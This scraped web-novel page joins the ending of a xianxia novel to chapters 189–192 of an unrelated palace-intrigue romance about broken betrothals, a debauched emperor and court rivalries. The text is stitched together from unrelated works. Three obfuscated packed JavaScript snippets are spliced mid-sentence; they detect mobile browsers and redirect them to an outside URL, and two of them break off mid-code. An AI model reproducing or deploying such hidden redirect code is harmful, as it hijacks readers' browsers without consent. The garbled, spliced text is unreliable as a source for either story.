难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第189章 行荒唐不堪之事 第一百八十九章行荒唐不堪之事 苏婉所下之毒的毒性并不猛烈,但张嫣毕竟是身娇体弱的闺阁女子,足足昏迷了三日三夜方才醒来。 张尚书望着女儿苍白的面容,痛心疾首:“嫣儿,你这又是何苦?你与肃王殿下婚期在即,早该放下五皇子,为何还要与苏婉联手去算计姜姝宁?那姜姝宁是何等聪慧之人,她即便面上不显,心中怕是早已明镜似的,洞悉了你是同谋!” “那又如何?”张嫣苍白的脸上泛起一抹冷峭的笑意,“我本就未曾想过要与她交好。别说是她姜姝宁,便是苏婉,我也断不会让她如愿嫁给五皇子殿下!” “嫣儿,你还想做什么?!”张尚书大惊失色,“苏婉因栽赃姜姝宁一事,已被五皇子当众退婚了!” “退婚了?”张嫣闻言,脸上这才露出一抹真切的笑意,“看来,女儿这番苦头,总算没有白受。” 张尚书无语凝噎。 恰在此时,门外下人来报:“老爷,小姐,肃王殿下驾临,前来探望小姐。” 张尚书精神一振,连忙道:“快!快请殿下进来!” 片刻后,肃王萧锦瑜便被引入张嫣的闺房。 “王爷,”张尚书迎上前去,神色恭敬,“小女刚刚转醒,老臣正欲派人通禀,不想您竟亲自前来了……” 萧锦瑜打断了他:“张大人,本王有几句话想单独问问张姑娘,还请行个方便。” 张尚书心中一凛,见他神色郑重,只得应允,挥退了房中所有下人,为二人留出独处的空间。 “张姑娘,身子可好些了?”萧锦瑜问。 “多谢殿下挂怀,臣女已无大碍。”张嫣客气疏离地答道。 萧锦瑜深吸一口气,开门见山道:“本王今日前来,是想问你两件事。第一件事,本王想知道,那日在麟阁宫假山后,用淬毒朱钗刺伤你的,究竟是何人?” 张嫣脸色微变,垂下眼睑掩去眸中思绪:“臣女当时受惊过度,未能看清……只当是姜姑娘,如今想来,应是认错了。” “既然无法确定,为何你从假山出来后,一口咬定是姜姝宁要杀你?” 面对他咄咄逼人的质问,张嫣脸色顿时变得很难看,她抬起头,冷声反问:“所以,王爷今日前来,就是为了替姜姝宁来向臣女兴师问罪的么?” “自然不是。”萧锦瑜神色复杂,“本王只是想查明真相,揪出真正伤你之人。” “那便不必劳烦王爷了。”张嫣的语气冰冷如霜,“臣女不打算追究。” 他蹙眉,按捺不住追问道:“是不打算追究,还是你早已知晓真凶是谁?张姑娘,你当真与苏婉联手,一同陷害了姜姝宁?” 张嫣蓦地冷笑出声,笑声里满是讥讽:“王爷还说不是来兴师问罪?既然心中早已有了答案,又何必故作姿态,再来多此一问?” 萧锦瑜难以置信地望着她,只觉得心头一寒:“你当真是故意的?可姜姝宁与你无冤无仇,你为何要如此害她?” “王爷怎知我与她无冤无仇?”张嫣目光陡然变得锐利如刀,其中翻涌的恨意几乎要凝为实质,“未经他人苦,莫劝他人善。王爷,难道你连这个道理也不懂么?” 萧锦瑜怔住了。 眼前的女子神情凌厉,言辞如刺,让他感到陌生至极。 他记忆中的张嫣,是那个在梅林初见时,身着一袭藕粉色锦服,眉目温婉,不慎闯入他视野的少女。 他曾以为她是一块需要悉心呵护的暖玉,值得他倾心相待。 即便屡次示好被拒,他也只当是女儿家的娇羞。 原来,一切不过是他的痴念与想象。 真正的她,不仅对他没有任何情意,更藏着他从未见过的锋芒与利爪。 他压下心头的涩意,沉声道:“姜姝宁是四弟心尖上的人,你若再对她不利,怕是会彻底得罪四弟,届时……” “景王殿下早已威胁过臣女了,此事王爷不必掺和。”张嫣冷声打断他,仿佛早已不耐,“王爷不是有两件事要问么?第二件事呢?” 萧锦瑜看着她神色冰冷的脸,喉头微涩,终于艰难开口:“……本王已查明,你我之间的婚约,是我三弟一手促成。本王想知道,若三弟自此再不纠缠你与张大人,你……可还愿与本王成婚?” “不愿。”张嫣的回答没有丝毫犹豫,斩钉截铁,“当初臣女应下婚事,不过是为求自保,免得被迫嫁与三皇子为妾,落得个生不如死的下场。王爷若能保臣女不必走上那条路,臣女愿与王爷……解除婚约!” “好。”萧锦瑜的唇边泛起一丝苦笑,“若当初,你能对本王坦诚相告就好了,也不至于让本王空欢喜一场。” 张嫣垂下眼睑,脸上终于掠过一丝愧色:“是臣女利用了王爷,对不住。” “无妨,尚未成婚,一切都还来得及。”萧锦瑜定了定神,道,“本王会去求父皇下旨,解除婚约并非难事。只是……怕会有损姑娘的清誉。” “那也无妨,”张嫣抬起头,竟是笑了,带着一种解脱后的释然,“嫁给不爱之人,日日相对如坐针毡,还不如孑然一身,逍遥自在。” 见她心意已决,再无半分回旋的余地,萧锦瑜心中最后一丝念想也散了。 他压下满腹惆怅,还是忍不住最后劝了一句:“本王不知你与姜姝宁究竟有何过节,但四弟护她之心,人尽皆知。他手段……向来强硬,你好自为之。” 张嫣却仿佛未闻,只追问道:“王爷何时能解除我们之间的婚约?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863846|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧锦瑜深深地看了她一眼,转身离去,只留下一句承诺:“本王会尽快。” 离开张府后,萧锦瑜径直入宫。 御书房外,他向大总管陈顺说明来意,却见陈顺脸上掠过一丝极不自然的尴尬,躬身道:“肃王殿下,陛下今日……怕是不太方便,您看,是否改日再来?” “无妨,”萧锦瑜负手而立,语气平静却不容置喙,“本王就在此等候。” “这……”陈顺额角隐隐见了汗,却也不敢再劝,只得道,“那……奴才再去通禀一声。” 然而,这一等,便是一炷香的工夫。 萧锦瑜眉头微蹙,心中升起一丝疑窦。 御书房乃国事重地,究竟是哪位重臣,竟能与父皇议事如此之久? 又过了片刻,殿门才终于打开,陈顺躬着身子请他进去。 刚一踏入,一股甜腻温热的香气便扑面而来,并非御书房惯用的凝神静气的檀香,而是一种令人心浮气躁的脂粉气。 他心下微沉,面上却不露分毫。 “儿臣锦瑜,叩见父皇。”萧锦瑜抬起头,正对上皇帝的脸,只见龙椅上的父皇面色潮红,双颊透着一股酒色未褪般的酡红,他下意识地问,“父皇可是饮酒了?” 一旁的陈顺连忙抢着解释:“回殿下,陛下近来服用丹药调理龙体,故而面色红润,气色极佳。” “是么?”萧锦瑜的目光扫过四周,总觉得这间熟悉的御书房,连同他的父皇,都透着一股说不出的怪异。 “老二寻朕,所为何事?”皇帝半倚在龙椅上,语调透着几分慵懒与不耐。 萧锦瑜敛了敛容,说明来意:“儿臣恳请父皇恩准,解除儿臣与尚书府张氏之女的婚约。” “原来是为此事而来。”皇帝不耐地挥了挥手,“准了。朕会即刻下旨。日后这等小事,不必专程来见,让陈顺传话便是。” “是,儿臣告退。” 萧锦瑜躬身告退,转身之际,心中那股挥之不去的怪异感让他下意识地朝龙案下瞥了一眼。 只此一眼,他便如遭雷击,浑身的血液仿佛都凝固了。 龙案宽大的下摆处,静静躺着一只精巧的绣花软鞋。 原来如此。 那满室甜腻的香气,那欲盖弥彰的丹药说辞,还有父皇那异样的潮红……所有的一切,瞬间都有了答案。 在处理国事的御书房内,竟行如此荒唐不堪之事! 萧锦瑜垂眸,掩去眼底翻涌的惊怒。 自幼,他便被教导以忠君为本,可此刻,那张龙案下刺眼的绣花鞋,宛如一柄利刃,狠狠刺穿了他多年来的信仰。 龙椅上之人,醉心声色,荒废朝纲,真的值得他誓死效忠吗? 第190章 藕断丝连 第一百九十章藕断丝连 萧锦瑜的身影刚消失在殿门外,一抹水蛇般滑腻妖冶的身影便从龙案下悄然探出。 御书房里充斥着旖旎的奇异芳香,香妃果露的香肩光洁如玉,一双媚眼流转着勾魂摄魄的波光:“陛下,肃王殿下……可走远了?” 皇帝低笑一声,将她从地上抱起,安置在自己腿上。 “爱妃莫怕,老二向来木讷忠孝,就算撞见了,也断不敢吐露半个字。” “那便好,臣妾就怕被人扣上‘红颜祸水’的帽子,污了陛下的圣名。”香妃娇声软语,委屈地撇了撇嘴。 “祸水?朕甘之如饴!”皇帝贪婪的目光在她玲珑的曲线上游走,“后宫那些嫔妃,一生了皇嗣,便如失了水分的花,没了半点吸引力。唯有爱妃,就算生了公主,却越发娇艳欲滴,让朕如何能不爱?” “能得陛下垂爱,是臣妾几世修来的福分。只是……”她话锋一转,幽幽地伸出雪白的皓腕,上面几道青紫的淤痕触目惊心,“熙贵妃近日常召臣妾去她宫中,动辄便是罚跪打骂,臣妾……实在撑不住了。” 皇帝见状,顿时勃然大怒:“这个毒妇,当真越来越放肆!” 话音未落,殿外骤然响起内侍总管陈顺惊惶的呼喊,夹杂着宫人慌乱的脚步声:“熙贵妃!您不能进去啊!快,快拦住贵妃娘娘!” “本宫看谁敢拦!”熙贵妃凌厉的怒喝声已至门前。 香妃顿时如惊弓之鸟,连忙从皇帝怀中挣脱,慌乱地整理着凌乱的衣衫。 皇帝好事被打扰,龙颜大怒。 在熙贵妃推门闯入的瞬间,他厉声呵斥:“熙贵妃,你好大的胆子!” “臣妾见过陛下……”熙贵妃的礼才行到一半,目光便死死钉在皇帝身旁那衣衫不整、媚眼如丝的香妃身上,她瞬间失控尖叫:“你这**怎么会在此处?!难怪本宫隔着老远就闻到一股子骚狐狸味儿,原来是你!” 香妃立刻换上一副泫然欲泣的无辜模样:“是陛下……命臣妾在此侍奉笔墨的。” 熙贵妃怒极反笑:“御书房乃国事重地,岂容你这等货色在侍奉笔墨?!本宫看你是趁机行狐媚之术!来人,把这个魅惑君上、以色侍君的**给本宫拖出去!” “放肆!”皇帝猛地一拍龙案,震怒道,“擅闯御书房,还在此处大呼小叫,熙贵妃,你眼中还有没有朕!陈顺,拟旨!即刻起,废熙贵妃为妃位,香妃柔嘉有德,晋为贵妃!即刻生效!” 熙贵妃闻言,脸色惨白如纸:“陛下,您要将臣妾贬为妃子?臣妾为您生了三皇子,臣妾的兄长更是镇国大将军……” “住口!”皇帝冷声打断她,“你那好儿子,西行剿匪寸功未立,反倒害**顾御史的独子,是朕替他压下了滔天罪责!你那好兄长,当初行刺朕的刺客便出自他的麾下!朕念及旧情不予追究,你还敢拿他们来压朕?!” “陛下……” “拖下去!”皇帝再不看她一眼,声音冰冷刺骨,“没有朕的旨意,再敢踏足御书房半步,格杀勿论!” 熙贵妃被侍卫强行拖拽出去,临走时,她投向香妃的目光充满了怨毒。 殿内恢复死寂,新晋的香贵妃立刻跪倒在地,泪水涟涟,感动不已:“谢陛下隆恩,为臣妾做主!” “爱妃快起来。”皇帝将她重新拥入怀中,手已不规矩地探入她衣衫之内,“还是爱妃说得对,越是御书房这种禁地,行鱼水之欢越是别有滋味……朕今日,才算尝到了什么叫蚀骨销魂!” 香贵妃佯装羞涩,顺势拿起桌案的丹药瓶,玉指捻起一粒赤色丹丸,递到皇帝嘴边:“陛下,服下此物,滋味……更甚。” 皇帝毫不犹豫地张口吞下,眼中已是情迷意乱,口中喃喃自语:“母后举荐的方士果真神通广大,这仙丹朕服下后,只觉龙体一日比一日强健……” 熙妃被贬,心中不甘,她本想去找太后,但太后身旁的吴嬷嬷告诉她,太后最近身子抱恙,不便见客。 无奈之下,她只能转而去坤宁宫找皇后诉苦。 “皇后娘娘,香贵妃那狐媚子在御书房里行那等下作之事,陛下却对她百般纵容,臣妾实在咽不下这口气!娘娘是后宫之主,怎能容她如此放肆?” 皇后闻言,嘴角勾起一抹意味不明的笑:“熙妃,你这话说得有趣。陛下宠谁不宠谁,本宫何必插手?再者,香贵妃如今风头正盛,你在她面前吃了亏,跑来本宫这里诉苦,怕是找错了人。” 熙妃脸色一僵,没想到皇后如此不留情面。 她咬了咬牙,索性撕破脸:“皇后娘娘,恕臣妾直言,您母族式微,若非陛下这些年护着,太子的储君之位怕是早就保不住了!香贵妃那狐媚子日日勾着陛下,掏空他的身子,若陛下真有个三长两短,您母子的处境才是最危险的!” 皇后闻言,眼中闪过一抹冷意, 她缓缓起身,步步逼近熙妃,声音低沉却带着无形的威压:“熙妃,你好大的胆子,竟敢在本宫面前危言耸听!你管好你自己吧,太子是大邺的储君,这一点,永远不会改变!至于陛下宠爱香贵妃……” 她顿了顿,嘴角泛起一抹嘲讽,“本宫早已习惯,熙妃你受宠多年,怕是忘了,陛下从来不属于后宫任何一个女人!” 熙妃被她这番话刺得心头一颤,脸上血色尽失。 她想起当年自己盛宠时,是如何在皇后面前耀武扬威的。 皇后这是在嘲讽奚落她! 她攥紧拳头,强压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863847|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住怒火,转身拂袖而去:“好!好!皇后娘娘既然如此说,那臣妾就等着看,香贵妃那**能得意到几时!” 皇后看着她离去的背影,冷哼一声,眼中尽是厌恶。 自从得知皇帝赐给太子的丹药,竟害太子吐血昏迷,她对皇帝早已没了半分情意。 她心如明镜,自己与太子,不过是皇帝用以制衡朝堂的两枚棋子。 帝王既要倚仗门阀世家的势力以稳固江山,又深恐其尾大不掉,反噬君权。 所以,才有了她这个母族凋零的皇后,以及太子这个孤立无援的储君。 如今她巴不得皇帝早日垮了,好让太子顺利登基。 熙妃越想越不甘心,干脆直接去了萧修湛的麟阁宫。 她一见他,便将满腔怒火倾泻而出:“湛儿,你可知那香贵妃有多下作!她在御书房里勾引陛下,害得本宫被贬为妃子!你若再不替本宫出头,咱们母子在这后宫还怎么立足?” 萧修湛本就对凝香有几分情意,更何况他深信凝香所生的小公主乃是自己的骨肉,对她更是多了几分怜惜与偏袒。 见母妃出言诋毁凝香,他眉心紧锁,语气带着几分不耐:“母妃,香贵妃是父皇的妃子,得宠也是人之常情。您何必非要与她过不去?” 熙妃闻言,气得差点晕过去,指着他颤声道:“你……你竟然替那**说话!她一个青楼女子,如今位份竟比本宫高,都踩在本宫的头上了!大邺后宫何来如此特例?她分明是个妖精!” 萧修湛目光一闪,语气低沉:“母妃,宫闱之事,本就无所谓对错。您这些年盛宠惯了,半点不肯示弱,父皇不喜也是人之常情。” 这话如同一把刀,直插熙妃心口。 她不可置信地看着自己的儿子:“湛儿,你……你竟然如此说本宫?!好,是本宫活该,活该失宠,活该被你父皇贬位份!” 熙妃被气得火冒三丈,拂袖而去。 一旁的姜瑶真见状,忍不住开口:“殿下,香贵妃日日魅惑陛下,害得娘娘受此**,您为何还处处维护她?” 萧修湛眼神闪烁,避开她的目光:“真儿,宫里的事,哪有那么简单?母妃性子太强,父皇不喜也在情理之中。” 姜瑶真心头一紧,女人的直觉让她嗅到一丝不对劲。 她试探道:“殿下,香贵妃如此放肆,莫不是……你的手笔?” “荒唐。”萧修湛蹙眉看她,“我为何要扶植一个女人,来与我母妃争宠?真儿,你想得太多了。” 姜瑶真心头一沉,萧修湛的反应证实了她的猜测。 一个男人维护一个女人,若非为了“利”,那便只剩下……“情”。 他与香贵妃还藕断丝连! 第191章 开屏孔雀 第一百九十一章开屏孔雀 这一刻,姜瑶真是有些后悔的。 当初和姨娘千挑万选,选了萧修湛作为自己的跳板。 可万万没想到,人算不如天算。 这原本大邺皇帝最宠爱的皇子,如今不仅连个封号都没捞着,母妃还失了宠爱,他所谓的助力、支持,也不过是多娶几个能绑定利益的女子。 可如今,她后悔也无济于事。 她的姨娘死在萧凌川手中,她要报仇,除了依靠萧修湛,别无他法。 从前,她不明白姨娘为何执着于助南月夺取大邺江山。 如今她才恍然大悟:若无南月的支持,即便萧修湛登上帝位,她最好的归宿也不过是个空有虚名的皇后,手中无权势,连自保都难。 她深吸一口气,眼神逐渐坚毅。 当务之急,是尽快与南月取得联系。 她这南月公主的后裔,必须站稳脚跟,用大邺的军情换取南月的认可! —— 另一边,萧锦瑜与张嫣退婚的消息传遍了整个京城。 萧锦瑜如今又变成没有婚配之人,很快便成为世家贵女争相追逐的佳婿,风头无两。 张嫣则相反,无故被退了婚,名声一落千丈,成了众人茶余饭后的笑柄。 翠竹院内,夏蝉轻叹:“可惜了张姑娘,怕是再难找到如肃王殿下这般条件的人了。” 姜姝宁神色淡然:“张嫣并不心悦肃王,退婚对她而言,未必不是解脱。” 夏蝉不解,嘀咕道:“心悦当真如此重要吗?奴婢总觉得,对于深闺女子而言,男方的门第身份才是根本,毕竟那是一辈子要依靠的根基。” 姜姝宁闻言,眸光微暗,不由想起前世自己不惜一切嫁给萧凌川,却落得满盘皆输的凄惨下场。 她唇角泛起一抹自嘲的苦笑,幽幽道:“心悦自然不是最重要的,但张姑娘还没懂得这个道理。” 就算有朝一日她真能如愿嫁给萧怀瑾,就能保证过上幸福的生活吗? 说不定会跟前世的自己那样,在深宅蹉跎一生,郁郁寡欢。 “大小姐!”凌芜急匆匆跑来,打断她的思绪,“奴婢打听到,苏府正在置办嫁妆,苏姑娘竟是与三皇子定了亲!” 姜姝宁眉心一跳。 没想到兜兜转转,苏家还是与萧修湛绑在了一起。 原本能为大邺皇室所用的苏氏财力,如今却成了萧修湛的私人钱袋。 她沉声吩咐道:“凌芜,去景王府一趟,把这消息告诉景王殿下。” “大小姐……”凌芜眨了眨眼,“你不一起吗?奴婢上次听凌风大人说,王爷想念大小姐做的杏仁饼了!” 姜姝宁想起上次萧凌川调侃她,说她这个盟友半点作用也没有,问她是不是只想将来侍寝了事,脸上顿时浮起一丝冷笑。 若再不让萧凌川见识见识自己的能耐,往后不知道还要被奚落多少回。 “那便一起去吧!夏蝉,去做些杏仁饼来,我待会带去景王府。” 凌芜一愣:“大小姐,您不亲手做吗?” 姜姝宁冷哼一声:“景王的嘴已被养刁,再惯着他,往后连寻常饭菜都吃不下了。他也是时候吃点寻常手艺了!免得日后我这盟友,只剩伺候他口腹之欲的份儿。” 凌芜眼角微抽:大小姐这话怎么夹枪带炮的? 景王殿下,你是不是又得罪大小姐了? 景王府花厅之中,姜姝宁一眼便注意到萧凌川今日身着一袭紫红锦袍,华贵异常。 他本就生得俊美无俦,眉眼如画,如今穿上这艳色衣衫,更衬得他夺目至极,仿若画中谪仙。 姜姝宁忍不住压低声音,对身旁的凌芜揶揄道:“王爷今日怎穿得如开屏孔雀一般招摇?” 凌芜嘴角微抽,强忍笑意,不敢接话。 心下暗忖:还能为何?不就是为了入大小姐您的眼么? 萧凌川远远瞧见姜姝宁望向自己的眼神平静如水,毫无波澜,心头莫名泛起一阵失落。 前世,他只要穿上艳色衣衫,她便会目不转睛地凝视着他,眼底满是藏不住的惊艳。 有一次,她的贴身侍女冬梅瞧见了,笑问:“王妃,您在看什么呢?” 她羞红了脸,嗫嚅道:“冬梅,你不觉得……王爷穿艳色衣裳,格外丰神俊朗吗?” 当时,他就在不远处,以习武之人的敏锐耳力,将这话听得一清二楚。 表面装作未闻,心底却早已荡起层层涟漪。 前世,他多穿暗色衣衫,身为大邺最不受宠的皇子,行事低调,不敢张扬。 如今好不容易扭转局面,他便特意投其所好,换上这身艳丽衣裳,只盼能再见她眼中的惊艳与在意。 可谁知,她的目光却冷淡至极,仿若未见。 萧凌川心头一紧,暗自苦笑:莫非,连这张她曾为之痴迷的皮相,如今也无法让她多看一眼了吗? “王爷,你有在听吗?”姜姝宁的声音将他的思绪拉了回来,“如今苏家已经决定将女儿嫁给三皇子,想来苏家很快便会成为三皇子的助力。此事,王爷觉得应当如何应对?” 萧凌川敛了敛眸:“苏家愿意支持萧修湛就让他们去支持吧,不过蛇鼠一窝,不足为惧。” “如此看来,王爷是有了应对的策略?”姜姝宁追问道,“可否透露一二?” 萧凌川一愣,没想到她对此事如此上心。 “苏家一半家业入了国库,如今元气大伤,商人又重利,想必很快会和萧修湛勾结,继续从事人牙买卖和赌场生意,届时,要抓住他们的把柄,易如反掌!” 姜姝宁眉头紧蹙:“所以,王爷不准备阻止他们成婚?苏氏财力雄厚,本可为大邺所用,造福黎民,如今却要眼睁睁看他们投向萧修湛,误入歧途? 更何况,殿下明知苏氏暗中经营人牙买卖、赌场营生,这些腌臜勾当害人无数,若放任自流,受害的终究是无辜百姓!若到时抓不到他们的确凿把柄,王爷又当如何?难道为了所谓的证据,就要让黎民百姓先蒙受苦难吗?” 萧凌川被姜姝宁的话噎得一滞,俊美的脸上闪过一丝不易察觉的窘迫。 他轻咳一声,掩饰片刻的失态,沉声道:“那依你之见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他想起前世自己卧病在床时,姜姝宁红着眼眶、轻声细语喂他喝药的模样,笑着道:“姜姑娘对本王,素来上心。” 等药熬出来后,他便笑不出来了。 一股浓烈刺鼻的苦涩气息扑面而来,夹杂着几分诡异的辛辣,直冲天灵盖。 他眉头紧锁,盯着那碗乌黑如墨的药汁,喉头不自觉地滚动了一下。 姜姝宁殷勤催促道:“王爷,快趁热喝吧,凉了可就失了药效。” “此药……”萧凌川斟酌着措辞,试图挣扎,“也不是是非喝不可吧?” 那药味浓烈得仿佛能将人熏晕,他甚至怀疑,若一口下去,怕是要苦得魂飞魄散。 “王爷不肯喝,是信不过臣女的医术吗?还是说,怕臣女在药里下毒?”姜姝宁一副受伤的表情,“既然王爷如此不信任臣女,往后臣女便什么都不做了,免得自讨没趣!” “本王不是这个意思……”萧凌川无奈道,“本王喝,本王喝还不行吗?” 区区一碗汤药罢了,能苦到哪里去? 萧凌川接过姜姝宁手中的碗,仰头一饮而尽…… 第192章 美男子的杀伤力 第一百九十二章美男子的杀伤力 药汤一入口,萧凌川便后悔了。 那味道苦涩中裹挟着诡异的辛辣,似一团烈焰直冲喉咙,烧得他胃里翻江倒海。 他抬眼,对上姜姝宁那双直勾勾盯着他的眼眸,只能硬着头皮咽下去。 一碗饮尽,他脸都绿了,表情有几分龟裂,像是吞了一团苦辣交织的火球,烫得他五脏六腑都在**。 他咳了两声,强压住不适,哑声道:“姜姑娘,这药……怎会让人胃里似火烧一般?” “王爷有所不知,如今天寒,您肠胃不适,定是染了风寒。臣女特意在药中加了温补之物,暖胃驱寒,喝下去自会有些热意。”姜姝宁解释得滴水不漏。 萧凌川胸口憋闷,只得咬牙道:“姜姑娘有心了……本王药已喝下,姜姑娘若无他事,便先回去吧。本王稍后还需……”还需将这鬼东西吐个干净! 姜姝宁瞧着他那强忍痛苦的模样,心中暗笑,面上却依旧不动声色:“既如此,臣女便不多叨扰。只是王爷,臣女还配了几副药,您可得叮嘱下人,每日三次,熬好喝下,千万别忘了!” “有劳姜姑娘,凌风,送客。” 待姜姝宁款款离去,萧凌川再也按捺不住,运转内力,硬生生将那股令人抓狂的药味逼出体外,吐得一干二净。 凌风匆匆返回,见他脸色苍白,忙上前搀扶:“王爷,您没事吧?” “无妨。”萧凌川摆摆手,沉声道,“去请孙神医来,查查姜姑娘这药里到底放了些什么!” 不多时,孙神医匆匆赶到,细细检查药方后,禀告道:“王爷,此药含穿心莲、龙胆草、苦参,另有少许花椒与辣椒干……” 凌风一脸难以置信:“这哪是药?分明是姜姑娘拿王爷开涮!谁家药方还加花椒辣椒?还有另外这几味药,不都是出了名的苦吗?” 萧凌川哭笑不得:“难怪又苦又辣,险些要了本王的命!” 他原以为姜姝宁是关心他,谁料她竟借机“报复”。 自己又哪里得罪她了? 他低叹一声,眉宇间染上几分无:“姝宁,你心真狠……” 有点心眼全都用来对付他了! 马车内,凌芜偷偷瞥了眼姜姝宁,见她唇角微扬,眉眼间藏着几分狡黠笑意,忍不住开口:“大小姐,方才您那样整王爷,是不是……有些不妥啊?” 姜姝宁不以为然:“整人嘛,自然要让他不好过!若他舒舒服服的,我这番心思岂不白费了?” 凌芜嘴角微抽:“奴婢的意思是,王爷瞧着也挺可怜的,大小姐您这药下得……着实狠了些吧?” 方才王爷喝了药之后的表情,实在有些……一言难尽。 在王爷身边那么多年,她还是第一次看到王爷如此难堪的模样。 